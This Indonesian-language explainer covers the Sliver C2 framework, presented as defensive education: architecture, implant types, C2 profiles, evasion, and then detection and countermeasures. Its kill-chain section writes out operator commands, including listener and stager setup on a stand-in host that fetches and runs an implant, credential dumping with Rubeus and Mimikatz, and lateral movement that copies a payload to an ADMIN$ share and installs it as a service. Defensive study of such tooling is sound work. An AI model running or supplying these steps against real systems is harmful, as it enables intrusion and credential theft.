Konteks Etis & Legal
Sliver adalah framework C2 open-source untuk adversary emulation, red teaming, dan penetration testing. Seluruh informasi berasal dari dokumentasi publik, kode sumber terbuka, serta analisis komunitas keamanan. Pembahasan ini edukasional dan defensif. Penggunaan tanpa izin terhadap sistem yang bukan milik sendiri melanggar hukum. Tujuan dokumen ini adalah membekali defender dengan pengetahuan mendalam untuk deteksi dan mitigasi ancaman berbasis Sliver.
𧬠Apa Itu Sliver?
Sliver adalah Command & Control (C2) framework open-source yang dikembangkan oleh Bishop Fox dan dirilis pada 2020. Tidak seperti Empire (PowerShell-heavy) atau Havoc (Windows-only), Sliver dirancang cross-platform dari awal: mendukung implant untuk Windows, Linux, dan macOS. Sliver ditulis sepenuhnya dalam Go, menghasilkan implant yang dikompilasi secara statis β tidak memerlukan dependensi runtime seperti .NET atau PowerShell.
Sliver diposisikan sebagai alternatif modern untuk Cobalt Strike, dengan fokus pada:
- Multi-user server dengan dukungan gRPC.
- Implant generation otomatis dengan berbagai format (EXE, DLL, shellcode, shared library).
- Malleable C2 profiles (HTTP/S, DNS, TCP, WireGuard, MTLS).
- Pivoting dan lateral movement yang terintegrasi.
- Operator extensibility melalui API gRPC dan scripting (Python/JavaScript).
Perbandingan Sliver dalam Ekosistem C2
| Fitur | Sliver | Cobalt Strike | Havoc | Empire |
|---|---|---|---|---|
| Cross-platform implant | β Windows, Linux, macOS | β Windows only (native) | β Windows (via Demon) | β Windows, Linux, macOS (via Python agent) |
| Bahasa implant | Go | C/ASM | C/ASM | PowerShell/Python/C# |
| GUI | β (CLI only) | β | β | β (Starkiller) |
| Multi-user | β (gRPC) | β (Team Server) | β | β |
| Sleep obfuscation | β (opsional via ekstensi) | β (UDRL) | β (Kokkini) | β |
| Indirect syscalls | β (opsional via ekstensi) | β (BOF) | β | β |
| Malleable C2 | β (basic profiles) | β (sangat fleksibel) | β (JSON profiles) | β |
| WireGuard C2 | β (unik) | β | β | β |
| Open source | β (GPLv3) | β (berbayar) | β | β |
| Harga | Gratis | $3.500+/thn | Gratis | Gratis |
ποΈ Arsitektur Sliver
Sliver menggunakan arsitektur client-server berbasis gRPC (bukan REST atau TCP proprietary). Ini memberikan keunggulan performa tinggi dan ekstensibilitas.
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Sliver Client (CLI) β
β - sliver-client (Go binary, cross-platform) β
β - Koneksi ke server via gRPC over TLS (port 31337 default) β
β - Operator authentication: certificate-based (mTLS) β
β - Scripting: JavaScript/Python via sliver-script β
βββββββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββββββ
β (gRPC over mTLS)
βΌ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Sliver Server (Go) β
β - Mendengarkan koneksi operator (gRPC) dan implant (C2) β
β - Database implant & operator (SQLite) β
β - Generasi implant otomatis (compile-time) β
β - Multi-operator dengan role-based access control β
β - Modul ekstensi (armory) untuk menambah kemampuan β
βββββββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββββββ
β (HTTP/S, DNS, MTLS, WireGuard, TCP)
βΌ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Implant (Go binary) β
β - Windows, Linux, macOS native β
β - Statically compiled (tidak butuh runtime) β
β - Mendukung: session, beacon, pivot, shellcode β
β - Komunikasi terenkripsi (AES-256 / XChaCha20) β
β - Fitur: shell, execute, upload/download, portfwd, pivoting β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Multi-User & Role-Based Access
Sliver mendukung multi-operator dengan autentikasi sertifikat (mTLS). Setiap operator memiliki sertifikat client yang unik. Role-based access memungkinkan administrator membatasi operator ke implant tertentu (prinsip need-to-know). Semua aktivitas operator di-log oleh server.
Armory: Ekosistem Ekstensi
Sliver memiliki Armory, repositori ekstensi resmi dan komunitas yang memungkinkan operator menginstal:
- BOF (Beacon Object Files) loader: memungkinkan eksekusi BOF dari dalam implant Sliver.
- Sleep mask extensions: untuk menambahkan sleep obfuscation.
- Lateral movement tools: SharpSCCM, Kerberoast, dll.
- Evasion extensions: indirect syscall, unhooking ntdll.
Ini membuat Sliver modular: fitur yang tidak ada di core bisa ditambahkan via armory.
π¦ Implant Sliver: Jenis, Format, dan Kemampuan
Sliver menyebut implant sebagai βsliverβ. Ada beberapa jenis implant:
1. Session
- Koneksi real-time, mirip dengan Meterpreter atau Beacon interaktif.
- Mendukung perintah interaktif:
shell,execute,upload,download,screenshot. - Cocok untuk tahap post-exploitation langsung.
2. Beacon
- Koneksi non-real-time; implant check-in secara periodik, mengambil task, mengirim hasil, lalu tidur.
- Dikonfigurasi dengan
--evasiveuntuk stealth (meniru traffic normal). - Mendukung
jitteruntuk menghindari deteksi interval tetap. - Operasi asinkron: task dikirim ke implant, implant mengeksekusi saat check-in berikutnya.
3. Pivot
- Implant yang meneruskan traffic ke jaringan internal yang tidak bisa diakses operator.
- Mendukung SMB pivoting (Named Pipe), TCP pivoting, dan WireGuard pivoting.
- Dapat dirantai (multi-hop).
Format Output
Sliver dapat menghasilkan implant dalam berbagai format:
| Format | Target | Keterangan |
|---|---|---|
| Executable (.exe) | Windows | Binary standar. |
| Shared Library (.dll) | Windows | Untuk sideloading atau rundll32. |
| Shellcode (.bin) | Windows/Linux | Untuk injeksi via exploit atau makro. |
| Service Executable | Windows | Berjalan sebagai service. |
| ELF Binary | Linux | Executable Linux. |
| Mach-O Binary | macOS | Executable macOS. |
| .so / .dylib | Linux/macOS | Shared library. |
Stager (Opsional)
Sliver mendukung stager: payload kecil yang mengunduh implant penuh dari server. Stager bisa dalam bentuk:
- Shellcode (Windows)
- PowerShell one-liner
- Python script
- VBA macro
- JavaScript (untuk phishing)
Profil stager dikonfigurasi via profiles dan stage-protocols.
π Sliver C2 Profiles: Malleable C2 ala Sliver
Sliver mendukung βC2 profilesβ untuk menyesuaikan komunikasi implant. Meskipun tidak sefleksibel Malleable C2 Cobalt Strike, profil Sliver cukup untuk meniru traffic umum.
Profil HTTP/S
# Buat profil HTTP baru
sliver > profiles new -b http://10.0.0.1 --format exe --arch amd64 --os windows --evasive http-profile
# Konfigurasi detail implant (beacon, jitter, user-agent, headers)
sliver > profiles beacon -b http://10.0.0.1 --uri-path "/api/v1/status" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... Chrome/120.0" --header "X-Request-ID: 12345" --seconds 60 --jitter 30Parameter yang dapat dikonfigurasi:
--uri-path: URI untuk check-in (GET) dan data kirim (POST).--user-agent: User-Agent string.--header: Header kustom tambahan.--evasive: Menggunakan metode komunikasi yang lebih stealth (cookie-based session, random URI, dll.).--seconds: Interval check-in.--jitter: Variasi interval.
Profil MTLS (Mutual TLS)
Sliver mendukung komunikasi MTLS, di mana implant dan server saling mengautentikasi dengan sertifikat. Ini memberikan enkripsi kuat dan otentikasi, tetapi sertifikat kustom bisa meninggalkan jejak yang unik.
Profil DNS
Implant melakukan DNS lookup ke domain yang dikendalikan operator. Data dikirim via subdomain query (base64string.c2.domain.com). Lambat tetapi bisa mem-bypass firewall ketat yang hanya mengizinkan DNS keluar.
Profil WireGuard (Unik)
Ini adalah fitur unik Sliver: kemampuan menggunakan WireGuard VPN sebagai transport C2. Implant terhubung ke server WireGuard Sliver, menciptakan tunnel terenkripsi. Semua komunikasi C2 berjalan di dalam tunnel ini. Keunggulan:
- Sangat sulit dibedakan dari traffic VPN biasa.
- Port UDP standar WireGuard (51820).
- Enkripsi modern (ChaCha20-Poly1305).
Profil TCP (P2P)
Untuk pivoting internal, implant dapat berkomunikasi langsung via TCP tanpa melalui server pusat. Ini memungkinkan operator mengontrol implant yang tidak memiliki akses internet.
βοΈ Kill Chain: Operasi Sliver dari Foothold ke Domain Admin
1. Delivery & Staging
Operator memulai dengan membuat listener dan profile:
sliver > http --lhost 10.0.0.1 --lport 443 --domain c2.example.com
sliver > profiles new --profile-name win-http-beacon --listener https --format exe --os windows --arch amd64
sliver > stage-listener --url https://c2.example.com --profile win-http-beaconStager (PowerShell one-liner) dikirim ke target via phishing. Stager mengunduh implant penuh dari https://c2.example.com/... dan mengeksekusinya di memori.
2. Initial Check-in
Implant menghubungi server, mengirim metadata (hostname, user, IP, OS, PID). Operator melihat sesi/beacon baru:
sliver > sessions
ID Name Transport Hostname User OS
==== ============= =========== ============= ==================== =======
1 IMPORTANT_BOX https DESKTOP-ABC ACME\jdoe windows/amd64
sliver > use 13. Situational Awareness
sliver (IMPORTANT_BOX) > info # Detail host
sliver (IMPORTANT_BOX) > whoami # Current user
sliver (IMPORTANT_BOX) > ps # Process list
sliver (IMPORTANT_BOX) > netstat # Network connections
sliver (IMPORTANT_BOX) > ifconfig # Interface & IP
sliver (IMPORTANT_BOX) > getprivs # Privileges
sliver (IMPORTANT_BOX) > execute-assembly -a /path/to/SharpHound.exe # Jalankan .NET assembly4. Credential Dumping
sliver (IMPORTANT_BOX) > execute-assembly -a /path/to/Rubeus.exe # Kerberoasting
sliver (IMPORTANT_BOX) > execute-assembly -a /path/to/Seatbelt.exe # Enum host
sliver (IMPORTANT_BOX) > sharp-hashdump # (jika modul armory terinstal)Sliver sendiri tidak memiliki Mimikatz built-in seperti Empire, tetapi dapat menjalankan Mimikatz via execute-assembly (Mimikatz.exe .NET) atau shellcode injection.
5. Lateral Movement
# Buat pivot ke jaringan internal
sliver (IMPORTANT_BOX) > pivot tcp --bind 0.0.0.0:4444
# Dari implant, jalankan lateral movement via WMI atau PsExec
sliver (IMPORTANT_BOX) > execute -c "cmd.exe /c net use \\10.0.1.10\ADMIN$ /user:DOMAIN\admin password"
sliver (IMPORTANT_BOX) > execute -c "cmd.exe /c copy c:\windows\temp\payload.exe \\10.0.1.10\ADMIN$"
sliver (IMPORTANT_BOX) > execute -c "cmd.exe /c sc \\10.0.1.10 create newService binPath= C:\Windows\payload.exe start= auto"Atau menggunakan modul armory untuk lateral movement yang lebih otomatis.
6. Persistence
Sliver tidak memiliki modul persistence bawaan yang kuat, tetapi operator bisa:
- Menjalankan scheduled task via
execute. - Menginstal service Windows.
- Menggunakan modul armory untuk WMI persistence.
- Menyebarkan implant baru ke host lain.
π‘οΈ Teknik Evasion di Sliver
1. Evasive Beacon
Mode --evasive pada beacon mengubah perilaku komunikasi:
- Menggunakan cookie untuk session tracking (mengurangi parameter URL).
- URI random per check-in.
- POST-based data exfiltration (bukan GET query string).
- Gzip compression untuk payload.
- Encryption: AES-CBC atau XChaCha20-Poly1305.
2. Implant Obfuscation (Go)
Karena implant dikompilasi dari Go, binary-nya relatif besar (7-12 MB) dan memiliki string yang dapat di-scan. Sliver mendukung:
- Obfuscation via garble: Menggunakan
garbleGo obfuscator untuk mengaburkan nama simbol dan string. - UPX packing: Memadatkan binary untuk mengurangi ukuran dan mengubah signature.
- Custom build tags: Menghilangkan fitur yang tidak perlu untuk mengurangi ukuran.
3. Traffic Mimicry
Dengan profil HTTP yang dikustomisasi, traffic Sliver dapat meniru aplikasi web sah. Namun, library TLS Go menghasilkan JA3 fingerprint yang berbeda dari browser umum (Go TLS stack vs Microsoft Schannel vs OpenSSL). Ini adalah kelemahan yang dapat dideteksi.
4. WireGuard Stealth
WireGuard C2 sangat sulit dideteksi karena terlihat seperti koneksi VPN sah. Namun, organisasi yang memonitor koneksi WireGuard keluar ke IP tidak dikenal bisa mencurigakan.
5. Modular Extensions via Armory
Armory memungkinkan penambahan teknik evasion modern:
- Sleep mask: enkripsi implant di memori saat tidur.
- Indirect syscalls: mem-bypass EDR hook.
- Unhooking: memulihkan fungsi ntdll.dll yang di-hook.
π Deteksi Sliver
1. Deteksi Jaringan
- JA3/JARM Fingerprint: Implant Sliver menggunakan Go TLS stack, yang menghasilkan JA3 fingerprint khas. Server Sliver (MTLS atau HTTPS) memiliki JARM yang dapat diidentifikasi. Database JA3 publik dapat digunakan untuk mencocokkan.
- HTTP Pattern Analysis:
- URI acak pada mode
--evasivedapat terdeteksi dengan entropy analysis. - User-Agent default (
Go-http-client/2.0jika tidak diubah) adalah indikator kuat. - Header tidak standar yang dikonfigurasi operator bisa menjadi IOC.
- URI acak pada mode
- Beaconing Detection: Interval check-in beacon dengan jitter masih dapat dideteksi dengan analisis statistik (RITA, AI-based NDR).
- DNS Tunneling: Subdomain panjang dengan base64 adalah red flag. Monitor DNS query entropy dan volume.
- WireGuard Detection: Traffic UDP ke port 51820 yang tidak sah. Monitor NetFlow untuk koneksi WireGuard ke IP eksternal yang tidak dikenal.
2. Deteksi Endpoint
- Process Anomalies:
- Process name: implant sering berganti nama menjadi proses sah (
svchost.exe,explorer.exe). - Process hollowing / injection: Sliver sering diinjeksi ke proses lain. Sysmon Event ID 8 (CreateRemoteThread) dan Event ID 10 (ProcessAccess).
- Process name: implant sering berganti nama menjadi proses sah (
- Binary Analysis:
- Go binary memiliki struktur PE/ELF yang khas: banyak fungsi kecil, string unik (
runtime,go,gopclntab). - YARA rules dapat menargetkan Go runtime signature atau string Sliver spesifik (seperti βsliverβ, βtransportβ, βbeaconβ).
- Go binary memiliki struktur PE/ELF yang khas: banyak fungsi kecil, string unik (
- Memory Forensics:
- Volatility dapat mendeteksi implant Go dari region memori dengan atribut
PAGE_EXECUTE_READWRITEyang berisi signature Go. - String βsliverβ atau βgrpcβ di memori proses.
- Volatility dapat mendeteksi implant Go dari region memori dengan atribut
- Sysmon Events:
- Event ID 1 (Process Create): executable tidak dikenal dengan nama mencurigakan.
- Event ID 11 (File Create): file di
%TEMP%atauC:\Users\Publicdengan ekstensi.exebaru. - Event ID 22 (DNS Query): query ke domain C2.
3. Artefak Spesifik Sliver
| Artefak | Deteksi |
|---|---|
| Default User-Agent | Go-http-client/2.0 atau Go-http-client/1.1 β blokir di proxy/WAF. |
| Default gRPC port | Server Sliver mendengarkan di port 31337 untuk koneksi operator. Scan jaringan untuk port ini. |
| WireGuard default port | 51820 UDP ke IP tidak dikenal. |
| *SLIVER* environment variable_* | Beberapa implant menggunakan environment variable dengan prefix SLIVER_ untuk konfigurasi. |
| Named Pipe (pivot) | Nama pipe default mengandung βsliverβ. Bisa diubah. |
| JARM hash server | Server Sliver memiliki JARM hash khas yang bisa di-scan (Shodan). |
4. Threat Intelligence
Feed IOC untuk Sliver:
- Server C2 publik yang ditemukan oleh peneliti.
- JA3 hash implant default.
- JARM hash server default.
- Domain dan IP yang terkait dengan kampanye Sliver yang diketahui.
βοΈ Dual-Use Spectrum
DEFENSE ββββββββββββββββββββββββββββββββββββββββββββΊ OFFENSE
Red Team Penetration Tester APT / Ransomware
β β β
Simulasi dengan Mengaudit Menggunakan Sliver
implant cross-platform keamanan Linux/ karena gratis,
untuk lingkungan macOS di cross-platform,
heterogen enterprise dan sulit dideteksi
β β β
β β βΌ
βΌ βΌ Operator ransomware
Purple team: Bug bounty: menyebar ke Linux
uji deteksi verifikasi server dan macOS
Sliver di lab kerentanan setelah kompromi
remote Windows awal
Sliver mendemokratisasi kemampuan C2 cross-platform yang dulunya hanya tersedia di framework komersial atau milik negara. Organisasi dengan lingkungan heterogen (Windows + Linux + macOS) harus mengasumsikan Sliver sebagai ancaman.
π‘οΈ Countermeasures Khusus Sliver
| Lapisan | Tindakan |
|---|---|
| Perimeter | Blokir port 31337 (gRPC default). Monitor dan batasi koneksi WireGuard (UDP 51820) ke luar. |
| Network | Deteksi JA3 fingerprint Go TLS stack. Blokir User-Agent Go-http-client. Analisis NetFlow untuk beaconing. DNS monitoring untuk tunneling. |
| Endpoint | YARA rules untuk Go binary signature. Monitor proses injection events. Deteksi environment variable SLIVER_*. |
| Application Control | WDAC atau AppLocker untuk membatasi eksekusi binary tidak dikenal. |
| Email/Gateway | Blokir lampiran executable (.exe, .dll, .bin). Deteksi macro berbahaya dengan payload Go. |
| Threat Intel | Konsumsi IOC Sliver dari komunitas dan vendor. Integrasikan ke SIEM. |
| Response | Jika terdeteksi: isolasi host, kumpulkan memory dump, analisis binary untuk konfigurasi C2, periksa pivot ke internal, reset credential. |
π Koneksi dalam Vault
- cobalt-strike β Sliver adalah alternatif open-source yang mendukung cross-platform (Cobalt Strike hanya Windows). Banyak tim merah menggunakan Sliver sebagai secondary C2.
- havoc-c2 β Sama-sama open-source, Havoc lebih unggul di sleep obfuscation dan indirect syscalls, tetapi Sliver unggul di cross-platform dan WireGuard.
- empire β Empire fokus pada PowerShell; Sliver pada Go binary. Keduanya bisa digunakan paralel untuk target yang berbeda.
- metasploit β Payload Sliver dapat dikirim melalui modul exploit Metasploit.
- bloodhound β Sliver dapat menjalankan SharpHound (via execute-assembly) untuk mengumpulkan data AD.
- shodan β Dapat digunakan untuk mencari server Sliver publik berdasarkan JARM atau port 31337.
π Referensi
- Bishop Fox. Sliver: Adversary Emulation Framework Documentation (2020-2024). https://github.com/BishopFox/sliver
- SANS Institute. Adversary Emulation with Sliver (2023).
- MITRE ATT&CK: T1071.001 (Web Protocols), T1095 (Non-Application Layer Protocol), T1573 (Encrypted Channel).
- SpecterOps. Comparing C2 Frameworks: Sliver, Havoc, Empire, Cobalt Strike (2023).
Sliver Deep Dive | Cross-Platform C2 Framework | Adversary Emulation & Post-Exploitation